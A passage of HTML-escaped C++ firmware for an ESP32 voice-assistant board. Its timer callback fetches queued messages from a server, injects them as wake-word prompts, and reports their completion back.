&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ESP_LOGI(TAG,&amp;nbsp;&amp;quot;消息完成通知成功:&amp;nbsp;ID=%d&amp;quot;,&amp;nbsp;message_id);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;success&amp;nbsp;=&amp;nbsp;true;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&amp;nbsp;else&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ESP_LOGW(TAG,&amp;nbsp;&amp;quot;消息完成通知失败:&amp;nbsp;状态码=%d&amp;quot;,&amp;nbsp;status_code);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&amp;nbsp;else&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ESP_LOGE(TAG,&amp;nbsp;&amp;quot;消息完成通知请求失败:&amp;nbsp;%s&amp;quot;,&amp;nbsp;esp_err_to_name(err));
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;esp_http_client_cleanup(client);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return&amp;nbsp;success;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//&amp;nbsp;定时器回调函数（借鉴Esp32LiveStream的设计）
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;static&amp;nbsp;void&amp;nbsp;MessageTimerCallback(void*&amp;nbsp;arg)&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;CompactWifiBoardLCD*&amp;nbsp;self&amp;nbsp;=&amp;nbsp;static_cast&amp;lt;CompactWifiBoardLCD*&amp;gt;(arg);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//&amp;nbsp;检查是否停止获取
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;(!self-&amp;gt;is_fetching_messages_)&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ESP_LOGD(TAG,&amp;nbsp;&amp;quot;消息获取已停止，忽略定时器回调&amp;quot;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//&amp;nbsp;获取当前设备状态
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;auto&amp;amp;&amp;nbsp;app&amp;nbsp;=&amp;nbsp;Application::GetInstance();
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;DeviceState&amp;nbsp;device_state&amp;nbsp;=&amp;nbsp;app.GetDeviceState();
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ESP_LOGD(TAG,&amp;nbsp;&amp;quot;定时器触发&amp;nbsp;-&amp;nbsp;状态:&amp;nbsp;%d,&amp;nbsp;正在处理:&amp;nbsp;%d,&amp;nbsp;已获取:&amp;nbsp;%d&amp;quot;,&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;device_state,&amp;nbsp;self-&amp;gt;is_processing_message_,&amp;nbsp;self-&amp;gt;has_fetched_in_current_idle_);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//&amp;nbsp;情况1：正在处理消息，检查是否回到Listening状态（说明处理完成）
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;(self-&amp;gt;is_processing_message_)&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//&amp;nbsp;检查是否回到Listening状态，说明上一条消息处理完成
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;(device_state&amp;nbsp;==&amp;nbsp;kDeviceStateListening)&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ESP_LOGI(TAG,&amp;nbsp;&amp;quot;回到Listening状态，消息处理完成&amp;quot;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//&amp;nbsp;只有ID&amp;gt;0的消息才需要通知服务器（ID=0是随机话题）
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;(self-&amp;gt;current_message_id_&amp;nbsp;&amp;gt;&amp;nbsp;0)&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ESP_LOGI(TAG,&amp;nbsp;&amp;quot;通知服务器消息完成:&amp;nbsp;ID=%d&amp;quot;,&amp;nbsp;self-&amp;gt;current_message_id_);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;(self-&amp;gt;NotifyMessageComplete(self-&amp;gt;current_message_id_))&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;self-&amp;gt;is_processing_message_&amp;nbsp;=&amp;nbsp;false;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;self-&amp;gt;current_message_id_&amp;nbsp;=&amp;nbsp;0;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;self-&amp;gt;has_fetched_in_current_idle_&amp;nbsp;=&amp;nbsp;false;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ESP_LOGI(TAG,&amp;nbsp;&amp;quot;准备获取下一条消息&amp;quot;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&amp;nbsp;else&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ESP_LOGW(TAG,&amp;nbsp;&amp;quot;完成通知失败，下次定时器重试&amp;quot;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&amp;nbsp;else&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//&amp;nbsp;随机话题处理完成，无需通知服务器
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ESP_LOGI(TAG,&amp;nbsp;&amp;quot;随机话题处理完成，无需通知服务器&amp;quot;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;self-&amp;gt;is_processing_message_&amp;nbsp;=&amp;nbsp;false;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;self-&amp;gt;current_message_id_&amp;nbsp;=&amp;nbsp;0;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;self-&amp;gt;has_fetched_in_current_idle_&amp;nbsp;=&amp;nbsp;false;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return;&amp;nbsp;&amp;nbsp;//&amp;nbsp;正在处理中，不获取新消息
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//&amp;nbsp;情况2：没有正在处理的消息，检查是否可以获取新消息
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//&amp;nbsp;在Listening状态下获取
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;(device_state&amp;nbsp;==&amp;nbsp;kDeviceStateListening)&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//&amp;nbsp;检查当前Listening会话是否已获取过消息
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;(!self-&amp;gt;has_fetched_in_current_idle_)&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ESP_LOGI(TAG,&amp;nbsp;&amp;quot;设备处于Listening状态且未获取过消息，尝试获取新消息&amp;quot;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;char&amp;nbsp;message_buffer[512];
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;int&amp;nbsp;fetched_message_id&amp;nbsp;=&amp;nbsp;0;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;(self-&amp;gt;FetchNextMessage(message_buffer,&amp;nbsp;sizeof(message_buffer),&amp;nbsp;&amp;amp;fetched_message_id))&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;(fetched_message_id&amp;nbsp;==&amp;nbsp;0)&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ESP_LOGI(TAG,&amp;nbsp;&amp;quot;获取到随机话题:&amp;nbsp;%s&amp;quot;,&amp;nbsp;message_buffer);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&amp;nbsp;else&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ESP_LOGI(TAG,&amp;nbsp;&amp;quot;获取到消息&amp;nbsp;[ID=%d]:&amp;nbsp;%s&amp;quot;,&amp;nbsp;fetched_message_id,&amp;nbsp;message_buffer);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//&amp;nbsp;标记正在处理
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;self-&amp;gt;is_processing_message_&amp;nbsp;=&amp;nbsp;true;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;self-&amp;gt;current_message_id_&amp;nbsp;=&amp;nbsp;fetched_message_id;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;self-&amp;gt;has_fetched_in_current_idle_&amp;nbsp;=&amp;nbsp;true;&amp;nbsp;&amp;nbsp;//&amp;nbsp;标记当前会话已获取
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//&amp;nbsp;根据设备状态选择处理方式
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;(device_state&amp;nbsp;==&amp;nbsp;kDeviceStateListening)&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ESP_LOGI(TAG,&amp;nbsp;&amp;quot;设备处于Listening状态，使用&amp;nbsp;SendWakeWordDetected&amp;nbsp;处理&amp;quot;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Protocol*&amp;nbsp;protocol&amp;nbsp;=&amp;nbsp;&amp;amp;Application::GetInstance().GetProtocol();
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;protocol-&amp;gt;SendWakeWordDetected(message_buffer);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&amp;nbsp;else&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ESP_LOGI(TAG,&amp;nbsp;&amp;quot;设备不在Listening状态，使用&amp;nbsp;WakeWordInvoke&amp;nbsp;处理&amp;quot;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;app.WakeWordInvoke(message_buffer);
